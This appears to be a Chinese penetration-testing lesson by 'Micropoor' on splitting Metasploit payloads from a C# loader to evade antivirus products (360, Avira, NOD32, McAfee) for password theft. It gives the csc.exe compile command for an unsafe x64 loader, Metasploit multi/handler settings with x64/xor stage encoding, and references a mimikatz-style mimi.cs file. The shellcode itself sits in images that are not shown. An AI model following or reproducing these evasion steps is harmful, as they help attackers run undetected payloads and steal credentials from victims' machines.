Windows 自 Windows XP Media Center Edition 开始默认安装 NET Framework,直至目前的 Windows 10,最新的默认版本为4.6.00081.00。随着装机量,最新默认安装版本为4.7.2053.0。

C# 的在 Windows 平台下的编译器名称是 Csc.exe,如果你的 .NET FrameWork SDK 安装在 C 盘,那么你可以在 目录中发现它。为了使用方便,你可以手动把这个目录添加到 Path 环境变量中去。用 Csc.exe 编译 HelloWorld.cs 非常简单,打开命令提示符,并切换到存放 test.cs 文件的目录中,输入下列行命令: csc /target:exe test.cs将 Ttest.cs 编译成名为 test.exe 的 console 应用程序

微软官方介绍如下:

关于两个文件默认安装位置:(注意x32,x64区别)

  1. C:\Windows\Microsoft.NET\Framework\
  2. C:\Windows\Microsoft.NET\Framework64\
  3. C:\Windows\Microsoft.NET\Framework64\

文章采取2种demo来辅助本文中心思想。

以抓密码为例:测试环境:目标A机安装了 360 套装。目标机 B 安装了小红伞,NOD32。目标机安 C 装了麦咖啡。
生成秘钥:

第四十八课:payload分离免杀思路第二季 - 图1

第四十八课:payload分离免杀思路第二季 - 图2

以msf为例:
生成shllcode

第四十八课:payload分离免杀思路第二季 - 图3

替换shellcode。

  1. C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:Micropoor.exe M.cs

第四十八课:payload分离免杀思路第二季 - 图4

运行:

注:在实际测试的过程,起监听需要配置一些参数,防止假死与假session。

  1. msf exploit(multi/handler) > set exitonsession false
  2. exitonsession => false
  3. msf exploit(multi/handler) > set EnableStageEncoding true
  4. msf exploit(multi/handler) > set Stageencoder x64/xor
  5. Stageencoder => x64/xor
  6. msf exploit(multi/handler) > set stageencodingfallback false
  7. stageencodingfallback => false
  8. msf exploit(multi/handler) > exploit -j -z

第四十八课:payload分离免杀思路第二季 - 图5

上线:

mimi.cs 953.71 KB
shllcode.cs

Micropoor